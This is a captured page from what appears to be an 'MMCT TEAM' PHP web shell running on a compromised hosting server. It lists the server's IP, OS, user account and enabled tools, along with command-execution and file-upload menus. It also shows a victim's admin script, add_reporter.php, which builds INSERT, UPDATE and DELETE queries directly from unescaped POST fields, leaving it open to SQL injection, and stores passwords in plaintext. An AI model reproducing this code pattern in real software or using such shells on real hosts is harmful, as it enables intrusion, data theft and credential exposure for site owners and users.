MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/localapp/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/localapp/admin/add_reporter.php
<?php

include("inc/config.php");

if(isset($_POST['add_repoeter'])){
    $name = $_POST['name'];
    $phone = $_POST['phone'];
    $username = $_POST['username'];
    $password = $_POST['password'];
    $status = $_POST['status'];



    // $cat_name = mysqli_real_escape_string($conn, $cat_name);
  

    // Construct the SQL query with sanitized input data

    $query = "INSERT INTO `vendor` (`name`, `phone`, `username`, `password`, `status`) VALUES ('$name','$phone','$username','$password', '$status')";

    $query_run = mysqli_query($conn, $query);

    if($query_run){
     
        $_SESSION['status'] = "Uploaded Successfully";
        header('Location: view-reporter.php');
        exit;
    } else {
        $_SESSION['status'] = "Not Uploaded Successfully";
        header('Location: reporter.php');
        exit;
    }
}


if (isset($_POST['update_reporter'])) {
    $id = $_POST['id'];
    $name = $_POST['name'];
    $phone = $_POST['phone'];
    $username = $_POST['username'];
    $password = $_POST['password'];



    // Update the project information in the database
    $query = "UPDATE vendor 
              SET name='$name',
              phone='$phone',
              username='$username',
              password='$password',
              status='$status'
              WHERE id='$id'";

    $query_run = mysqli_query($conn, $query);

    if ($query_run) {
        $_SESSION['status'] = " Updated Successfully";
        header('Location: view-reporter.php');
    } else {
        $_SESSION['status'] = "Not Updated Successfully";
        header('Location: view-reporter.php');
    }
}


// delete

if (isset($_POST['delete_reporter'])) {
    $id = $_POST['delete_id'];

    $query = "DELETE FROM vendor WHERE id = '$id'";
    $query_run = mysqli_query($conn, $query);

    if ($query_run) {
        $_SESSION['status'] = "Deleted Successfully";
        header('Location: view-reporter.php');
    } else {
        $_SESSION['status'] = "Not Deleted Successfully";
        header('Location: view-reporter.php');
    }
}

?>

MMCT - 2023